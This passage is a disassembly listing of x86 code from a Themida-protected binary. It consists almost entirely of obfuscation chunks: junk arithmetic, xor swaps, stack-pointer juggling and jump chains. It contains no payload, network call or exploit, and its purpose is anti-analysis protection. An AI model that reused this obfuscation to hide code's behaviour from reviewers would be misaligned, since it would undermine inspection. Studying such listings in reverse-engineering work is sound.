; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA44
loc_56B5B9: ; CODE XREF: sub_56FA44+32FCj
push eax
mov eax, 780F0948h
add eax, 0E95C0ACBh
jmp loc_57294B
; END OF FUNCTION CHUNK FOR sub_56FA44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B577
loc_56B5C9: ; CODE XREF: sub_56B577-9992j
add ebp, eax
jmp loc_5671D0
; END OF FUNCTION CHUNK FOR sub_56B577
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_56B5D0: ; CODE XREF: sub_5678CB+247Aj
mov ch, bh
mov ebx, [esp+4+var_4]
add esp, 4
jmp loc_573CC3
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_56B5E0: ; CODE XREF: sub_568E5C-1462j
sub eax, 40DC6BB8h
pop ecx
add eax, 4
jmp loc_5688CF
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5715F0
loc_56B5EE: ; CODE XREF: sub_5715F0-11353j
add ecx, 4
push 30E1h
mov [esp-4+arg_0], eax
mov eax, 4
sub ecx, eax
pop eax
xchg ecx, [esp-8+arg_4]
pop esp
jmp loc_56354B
; END OF FUNCTION CHUNK FOR sub_5715F0
; ---------------------------------------------------------------------------
loc_56B60D: ; CODE XREF: Themida_:00567E25j
mov [esp], ebx
jmp loc_561471
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_56B615: ; CODE XREF: sub_5685B2-78D6j
inc cl
xor cl, 0B0h
jmp loc_560DAE
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572641
loc_56B61F: ; CODE XREF: sub_572641+10Aj
mov [esp+8+var_8], edx
mov dh, 3Fh
shl dh, 1
or dh, 0E7h
dec dh
add dh, 67h
or bh, dh
pop edx
shl bh, 2
dec bh
push 2E17h
mov [esp+8+var_8], eax
push ebx
jmp loc_569F11
; END OF FUNCTION CHUNK FOR sub_572641
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DBD1
loc_56B644: ; CODE XREF: sub_56DBD1+Fj
mov eax, [esp+4+var_4]
jmp loc_571415
; END OF FUNCTION CHUNK FOR sub_56DBD1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E4D4
loc_56B64C: ; CODE XREF: sub_56E4D4+13j
add esp, 4
push edi
mov edi, 3BBA696Ch
add eax, edi
mov edi, [esp+0]
add esp, 4
add eax, ebx
jmp loc_563AB0
; END OF FUNCTION CHUNK FOR sub_56E4D4
; ---------------------------------------------------------------------------
loc_56B664: ; CODE XREF: Themida_:00563107j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_56262F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569B75
loc_56B67E: ; CODE XREF: sub_569B75-89B4j
add eax, esi
jmp loc_572EF9
; END OF FUNCTION CHUNK FOR sub_569B75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EFD2
loc_56B685: ; CODE XREF: sub_56EFD2-C98Bj
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_563A6E
; END OF FUNCTION CHUNK FOR sub_56EFD2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A608
loc_56B695: ; CODE XREF: sub_56A608-2398j
push edx
mov edx, 4499006Dh
jmp loc_56ECE9
; END OF FUNCTION CHUNK FOR sub_56A608
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DDC5
loc_56B6A0: ; CODE XREF: sub_56DDC5+9j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56DDC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_56B6A5: ; CODE XREF: sub_574F16-56A3j
mov ch, bl
pop ebx
mov bh, ch
pop ecx
mov eax, [esp+0Ah+var_A]
add esp, 4
add bh, 5
mov ch, bh
mov ebx, [esp+6+var_6]
jmp loc_563532
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FCD7
loc_56B6C1: ; CODE XREF: sub_56FCD7+14j
pop edi
sub edx, 42B40A3Eh
add edx, esi
add edx, 42B40A3Eh
jmp loc_56B1AD
; END OF FUNCTION CHUNK FOR sub_56FCD7
; =============== S U B R O U T I N E =======================================
sub_56B6D5 proc near ; DATA XREF: Themida_:0055FE54o
push dword ptr fs:[edx]
jmp loc_55FF9F
sub_56B6D5 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_56B6DD: ; CODE XREF: sub_565632+C993j
add esp, 4
neg edi
push esi
mov esi, 2EECE500h
jmp loc_5670EE
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_56B6ED: ; CODE XREF: sub_5685B2-57A1j
pop edx
and al, bh
jmp loc_574A74
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_56B6F5: ; CODE XREF: sub_56AB5E+77B2j
mov [esp+8+var_8], ebx
mov ebx, 4D5004E8h
push ecx
push 65D1518Ch
jmp loc_56E9BE
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569AB3
loc_56B708: ; CODE XREF: sub_569AB3-F6Dj
mov ebp, [esp+4+var_4]
add esp, 4
xor ecx, 14266CCCh
not ecx
inc ecx
jmp loc_56F591
; END OF FUNCTION CHUNK FOR sub_569AB3
; =============== S U B R O U T I N E =======================================
sub_56B71F proc near ; CODE XREF: sub_574DC1-13509j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
; FUNCTION CHUNK AT 00563FBE SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056589B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567F67 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005683CF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00568816 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056A1BE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056E38B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056EFDD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056F3FE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057257C SIZE 00000013 BYTES
push ebx
mov ebx, 21FA446Dh
push 582Eh
jmp loc_57257C
sub_56B71F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_56B72F: ; CODE XREF: sub_56FA15+2BDFj
add eax, 4
add eax, 4
jmp loc_56C0ED
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BC97
loc_56B73C: ; CODE XREF: sub_56BC97-764Dj
mov [esp+0], edi
mov edi, 4
add edx, edi
mov edi, [esp+0]
push 47F7h
mov [esp+4+var_4], ecx
push esp
pop ecx
jmp loc_565C03
; END OF FUNCTION CHUNK FOR sub_56BC97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_56B758: ; CODE XREF: sub_56CC46-7625j
xchg ebx, [esp+8+var_8]
pop esp
jmp loc_56123F
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5681F5
loc_56B761: ; CODE XREF: sub_5681F5+B272j
add eax, 182E3672h
add ebx, 105A1AD2h
add ebx, eax
push 5EDCh
mov [esp+4+var_4], ecx
mov ecx, 7695672Ah
inc ecx
shr ecx, 3
neg ecx
shl ecx, 8
xor ecx, 3D0901D2h
sub ebx, ecx
pop ecx
pop eax
add ebx, eax
push 5508h
mov [esp+0], eax
mov eax, 6D541BE0h
shl eax, 5
push ebx
jmp loc_565361
; END OF FUNCTION CHUNK FOR sub_5681F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680FB
loc_56B7A6: ; CODE XREF: sub_5680FB+7194j
mov [esp+8+var_8], ebp
jmp loc_570DA7
; END OF FUNCTION CHUNK FOR sub_5680FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5653AD
loc_56B7AE: ; CODE XREF: sub_5653AD+42BEj
add ebx, 4
xchg ebx, [esp+4+var_4]
pop esp
jmp loc_573EB6
; END OF FUNCTION CHUNK FOR sub_5653AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56B7BA: ; CODE XREF: sub_56616D+EEE0j
xchg edx, [esp-10h+arg_C]
pop esp
mov [esp-14h+arg_10], esi
mov esi, 76413E9Bh
mov edx, esi
jmp loc_569D82
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5734A7
loc_56B7CD: ; CODE XREF: sub_5734A7-696j
pop edi
add esp, 4
push edx
mov edx, 21A70442h
shr edx, 3
neg edx
jmp loc_56BB11
; END OF FUNCTION CHUNK FOR sub_5734A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561F05
loc_56B7E1: ; CODE XREF: sub_561F05+9B56j
mov eax, 88ED87DBh
add eax, edx
pop edx
sub esi, eax
jmp loc_571108
; END OF FUNCTION CHUNK FOR sub_561F05
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EA2
loc_56B7F0: ; CODE XREF: sub_560EA2+3544j
pop ecx
add eax, 9846C03h
add eax, 78CE67D5h
add eax, edx
push ebp
mov ebp, 0AA2764Fh
neg ebp
jmp loc_574DF9
; END OF FUNCTION CHUNK FOR sub_560EA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_56B80A: ; CODE XREF: sub_57146D+33Fj
pop edx
sub bl, 48h
sub bl, 63h
sub bl, 0E3h
jmp loc_5641E5
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_56B819: ; CODE XREF: sub_563A7F+9447j
mov ch, 3Fh
add bl, ch
pop ecx
add bl, al
sub bl, 3Fh
sub bl, 79h
sub bl, 0C3h
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+0Ah+var_C+2]
pop esp
mov [esp+6+var_8+2], ecx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+0Ah+var_C+2]
pop esp
mov [esp+6+var_8+2], ebx
push 2BD33A7Dh
jmp loc_574C8C
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CBE
loc_56B859: ; CODE XREF: sub_574CBE-6181j
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
add eax, 2D4849A7h
push esi
mov esi, 4C3F2257h
shr esi, 3
xor esi, 71E3914h
dec esi
jmp loc_563E57
; END OF FUNCTION CHUNK FOR sub_574CBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_56B879: ; CODE XREF: sub_56241E-2E0j
mov dx, ax
jmp loc_562BF0
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57109F
loc_56B881: ; CODE XREF: sub_57109F-3ABEj
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+0Ch+var_C]
pop esp
push ebp
push edx
mov edx, esp
add edx, 4
push ebp
mov ebp, 4
sub edx, ebp
pop ebp
xchg edx, [esp+10h+var_10]
pop esp
push esp
pop [esp+10h+var_10]
add [esp+0Ch+var_C], 4
push [esp+0Ch+var_C]
mov ebp, [esp+10h+var_10]
add esp, 4
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp+10h+var_10]
jmp loc_5601A2
; END OF FUNCTION CHUNK FOR sub_57109F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5648C6
loc_56B8D8: ; CODE XREF: sub_5648C6+512Ej
sub esi, 3485407Dh
push ecx
mov ecx, 7FD927D2h
sub edi, ecx
jmp loc_570C42
; END OF FUNCTION CHUNK FOR sub_5648C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_56B8EB: ; CODE XREF: sub_570732-7657j
xor ebp, [esp+0]
mov esp, [esp+0]
push 1EFCh
jmp loc_56D5E6
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567866
loc_56B8FB: ; CODE XREF: sub_567866+9B03j
push edi
push eax
mov eax, 5F067FEh
jmp loc_563A59
; END OF FUNCTION CHUNK FOR sub_567866
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680FB
loc_56B907: ; CODE XREF: sub_5680FB-2679j
add ebx, 4
xchg ebx, [esp+14h+var_14]
pop esp
add eax, esi
add eax, 586952BAh
pop esi
add eax, 4
xchg eax, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
jmp loc_568159
; END OF FUNCTION CHUNK FOR sub_5680FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E0B0
loc_56B924: ; CODE XREF: sub_56E0B0-DAF9j
push 310Bh
mov [esp+0Ch+var_C], edx
mov edx, 37E753A5h
jmp loc_560945
; END OF FUNCTION CHUNK FOR sub_56E0B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568764
loc_56B936: ; CODE XREF: sub_568764-4E24j
add ecx, ebx
pop ebx
add ecx, 4
xchg ecx, [esp+0Ch+var_C]
pop esp
add esp, 4
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp+8+var_8]
pop esp
mov ebx, [esp+4+var_4]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_56FDB2
; END OF FUNCTION CHUNK FOR sub_568764
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB51
loc_56B96A: ; CODE XREF: sub_56AB51+98F8j
add esp, 4
jmp loc_57540C
; END OF FUNCTION CHUNK FOR sub_56AB51
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A7FB
loc_56B972: ; CODE XREF: sub_56A7FB-1F53j
xor ch, 24h
sub al, ch
pop ecx
mov bx, [esp+0]
add esp, 2
jmp sub_571F6F
; END OF FUNCTION CHUNK FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573B49
loc_56B984: ; CODE XREF: sub_573B49-DA37j
pop ebx
xchg eax, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
or [esp-4+arg_0], eax
pushf
jmp loc_564DA9
; END OF FUNCTION CHUNK FOR sub_573B49
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569DB5
loc_56B994: ; CODE XREF: sub_569DB5-4D3j
push ecx
mov ecx, 0B9B035Dh
sub edx, ecx
pop ecx
shl edx, 8
add edx, 46590843h
xor esi, edx
pop edx
push edi
push edx
mov edx, 16131EDCh
mov edi, edx
pop edx
add ecx, edi
pop edi
add ecx, esi
sub ecx, 16131EDCh
pop esi
push 6AA1h
mov [esp+4+var_4], ecx
push dword ptr [esp+4]
jmp loc_5644D0
; END OF FUNCTION CHUNK FOR sub_569DB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_56B9D0: ; CODE XREF: sub_56FA15-60EAj
mov edi, esp
add edi, 4
push ebx
jmp loc_56F4E8
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5671E1
loc_56B9DE: ; CODE XREF: sub_5671E1+6632j
push esi
inc [esp+0Ch+var_C]
pop esi
add esi, 0FD425994h
push edx
mov edx, 4B1E54C6h
push 7BB1h
mov [esp+10h+var_10], ecx
mov ecx, 520F2D63h
or edx, ecx
mov ecx, [esp+10h+var_10]
jmp loc_57380D
; END OF FUNCTION CHUNK FOR sub_5671E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560457
loc_56BA06: ; CODE XREF: sub_560457+1j
mov ebp, 4
add ebx, ebp
jmp loc_57448D
; END OF FUNCTION CHUNK FOR sub_560457
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571289
loc_56BA12: ; CODE XREF: sub_571289-E9A6j
push edx
mov edx, 1B13288Eh
jmp sub_5642C7
; END OF FUNCTION CHUNK FOR sub_571289
; ---------------------------------------------------------------------------
loc_56BA1D: ; CODE XREF: Themida_:00565F07j
add [esp], eax
add dword ptr [esp], 606B569Eh
add dword ptr [esp], 528D7AF7h
jmp loc_569788
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56ACDE
loc_56BA33: ; CODE XREF: sub_56ACDE-38A1j
pop eax
xchg edx, edi
inc edx
xor edi, edx
xor edx, edi
jmp loc_573E25
; END OF FUNCTION CHUNK FOR sub_56ACDE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570FB7
loc_56BA40: ; CODE XREF: sub_570FB7+601j
push [esp+0Ch+var_C]
pop ebx
jmp loc_56571C
; END OF FUNCTION CHUNK FOR sub_570FB7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5638E4
loc_56BA49: ; CODE XREF: sub_5638E4+11B23j
sub edi, 3B7B7B97h
add edi, edx
jmp loc_56F93F
; END OF FUNCTION CHUNK FOR sub_5638E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561F05
loc_56BA56: ; CODE XREF: sub_561F05+F585j
mov edx, 7BB6568Eh
jmp loc_56B7E1
; END OF FUNCTION CHUNK FOR sub_561F05
; ---------------------------------------------------------------------------
loc_56BA60: ; CODE XREF: Themida_:00574D0Fj
sub ecx, 60E827DCh
add ecx, ebp
push edx
mov edx, 60E827DCh
add ecx, 6A720509h
add ecx, edx
sub ecx, 6A720509h
pop edx
sub ecx, 1F265C09h
pop ebp
push 6159h
mov [esp], eax
jmp loc_56719D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_56BA91: ; CODE XREF: sub_572075-8438j
sub ebp, 59F02FE2h
push edx
mov edx, 3B4C0164h
or edx, 7536424Fh
add edx, 900D1510h
add ebp, 5B153BBAh
sub ebp, 62C863F8h
add ebp, edx
add ebp, 62C863F8h
sub ebp, 5B153BBAh
pop edx
sub esp, 4
mov [esp+8+var_8], eax
mov eax, 0C2A486Fh
neg eax
sub eax, 0A7269978h
sub ebp, 0D760011h
add ebp, eax
add ebp, 0D760011h
pop eax
pop eax
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp+4+var_4]
jmp loc_56AD76
; END OF FUNCTION CHUNK FOR sub_572075
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571890
loc_56BAFC: ; CODE XREF: sub_571890-93EFj
mov ecx, 4
add ebx, ecx
jmp loc_56322B
; END OF FUNCTION CHUNK FOR sub_571890
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_56BB08: ; CODE XREF: sub_571F6F-AD6Bj
add esp, 4
push edx
jmp loc_56F0E2
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5734A7
loc_56BB11: ; CODE XREF: sub_5734A7-7CCBj
not edx
shl edx, 2
dec edx
xor edx, 328C8647h
sub esi, edx
pop edx
add esi, 42D40F6h
add esi, 48816C72h
jmp loc_56F816
; END OF FUNCTION CHUNK FOR sub_5734A7
; ---------------------------------------------------------------------------
loc_56BB31: ; CODE XREF: Themida_:0057043Dj
neg ebp
sub ebp, 0FBD2DD81h
mov eax, ebp
pop ebp
mov ebp, eax
mov eax, [esp]
add esp, 4
push ebx
jmp loc_567304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_56BB4A: ; CODE XREF: sub_561027+FA06j
add edx, edi
push ebp
mov ebp, 174A2ABDh
sub edx, ebp
jmp loc_570567
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_56BB59: ; CODE XREF: sub_56FB8A+4A40j
push edx
push ecx
mov ecx, 56763682h
jmp loc_56B4BD
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5648C6
loc_56BB65: ; CODE XREF: sub_5648C6-390Cj
push esi
jmp loc_5699E1
; END OF FUNCTION CHUNK FOR sub_5648C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5662F9
loc_56BB6B: ; CODE XREF: sub_5662F9+8BE9j
mov [esp+10h+var_10], edi
mov edi, 5F2279CAh
xor edi, 28644B6Bh
push ebx
mov ebx, 59E30823h
sub edi, ebx
pop ebx
neg edi
shl edi, 8
shr edi, 3
xor edi, 139AB044h
add esi, edi
pop edi
jmp loc_56E645
; END OF FUNCTION CHUNK FOR sub_5662F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56BB98: ; CODE XREF: sub_56616D+E6F3j
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp-14h+arg_10]
jmp loc_57474B
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56BBAB: ; CODE XREF: sub_561418+4983j
mov [esp+1Ch+var_1C], edx
jmp loc_560CE1
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56BBB3: ; CODE XREF: sub_57354D-5F85j
xor edx, edi
pop edi
add eax, edx
pop edx
add eax, 4
xchg eax, [esp+4+var_4]
jmp loc_56047D
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_56BBC6: ; CODE XREF: sub_565632+CF65j
mov edx, [esp-10h+arg_C]
add esp, 4
not edx
push edx
not [esp-10h+arg_C]
pop edx
dec edx
xor edx, 68F67B6Fh
mov ecx, edx
pop edx
push esi
jmp loc_56C52E
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56208F
loc_56BBE3: ; CODE XREF: sub_56208F+7E31j
push dword ptr [esp+4]
push [esp+8+var_8]
pop esi
add esp, 4
pop [esp+4+var_4]
pop esp
jmp loc_573C94
; END OF FUNCTION CHUNK FOR sub_56208F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574503
loc_56BBFA: ; CODE XREF: sub_574503-5492j
pop esp
mov [esp+0], edi
push 5FBEh
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
pop edi
push 3D09h
jmp loc_56790A
; END OF FUNCTION CHUNK FOR sub_574503
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562BA0
loc_56BC18: ; CODE XREF: sub_562BA0+97D3j
push esp
mov edx, [esp+4+var_4]
add esp, 4
add edx, 4
jmp loc_564F40
; END OF FUNCTION CHUNK FOR sub_562BA0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_56BC2D: ; CODE XREF: sub_56FB8A-5D74j
add ebx, 3E527632h
sub ebx, edi
sub ebx, 3E527632h
push ebp
mov ebp, 25B47842h
shl ebp, 1
add ebp, 43083F8Dh
shl ebp, 4
shl ebp, 1
push edi
mov edi, 27F76C67h
or edi, 4E731F82h
neg edi
jmp loc_568CC5
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567C58
loc_56BC61: ; CODE XREF: sub_567C58-473Fj
add eax, 2
xor eax, [esp+8+var_8]
xor [esp+8+var_8], eax
jmp loc_566019
; END OF FUNCTION CHUNK FOR sub_567C58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_56BC6F: ; CODE XREF: sub_5678CB+AC78j
push edx
mov edx, 966832h
inc edx
shr edx, 8
shr edx, 2
jmp loc_5747E2
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_56BC81: ; CODE XREF: sub_57146D-FAF9j
push 12C3h
mov [esp+0Ah+var_C+2], ebx
push esi
mov esi, esp
add esi, 4
jmp loc_564B37
; END OF FUNCTION CHUNK FOR sub_57146D
; =============== S U B R O U T I N E =======================================
sub_56BC97 proc near ; DATA XREF: Themida_:0055FDBCo
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00562143 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005630ED SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00564646 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00565C03 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056894C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005696AF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A3A9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056B152 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B73C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056CD39 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00570066 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0057170B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00573013 SIZE 0000000B BYTES
mov ax, [esp+0]
jmp loc_5696AF
sub_56BC97 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56BCA0: ; CODE XREF: sub_57354D-1223Cj
xchg ebx, [esp+8+var_8]
pop esp
push eax
mov eax, 4
sub ecx, 57E1534Eh
add ecx, eax
add ecx, 57E1534Eh
pop eax
push edx
push eax
mov eax, 455D5A6Ah
mov edx, 78B57BABh
xor edx, eax
jmp loc_57154D
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574D8F
loc_56BCCC: ; CODE XREF: sub_574D8F-7AD5j
pop ebp
push edx
mov edx, esp
add edx, 4
push edi
mov edi, 4
add edx, edi
pop edi
xchg edx, [esp+8+var_8]
pop esp
xor ebx, [esp+4+var_4]
xor [esp+4+var_4], ebx
xor ebx, [esp+4+var_4]
jmp loc_56A920
; END OF FUNCTION CHUNK FOR sub_574D8F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_56BCF1: ; CODE XREF: sub_561027+F543j
push [esp+18h+var_18]
pop ebp
add esp, 4
sub esp, 4
mov [esp+18h+var_18], ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp+18h+var_18]
mov esp, [esp+18h+var_18]
jmp loc_5659D2
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569E1B
loc_56BD1A: ; CODE XREF: sub_569E1B-3E88j
add esp, 4
jmp loc_568989
; END OF FUNCTION CHUNK FOR sub_569E1B
; ---------------------------------------------------------------------------
loc_56BD25: ; CODE XREF: Themida_:0056CDB8j
mov [esp], ecx
push esp
jmp loc_5635F1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564BC5
loc_56BD2E: ; CODE XREF: sub_564BC5+CB6Dj
mov [esp+0Ch+var_C], edi
jmp sub_562954
; END OF FUNCTION CHUNK FOR sub_564BC5
; =============== S U B R O U T I N E =======================================
sub_56BD36 proc near ; DATA XREF: Themida_:0055FD80o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00561E74 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005687E0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056F343 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00572126 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00573E1E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00574963 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 00574F86 SIZE 00000019 BYTES
push 76D5h
mov [esp+4+var_4], esi
push eax
jmp loc_573E1E
sub_56BD36 endp
; =============== S U B R O U T I N E =======================================
sub_56BD44 proc near ; CODE XREF: sub_56E90A-C321j
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056050E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056068D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00560A43 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00561256 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00561D89 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00562007 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005620FC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00562A0F SIZE 0000000B BYTES
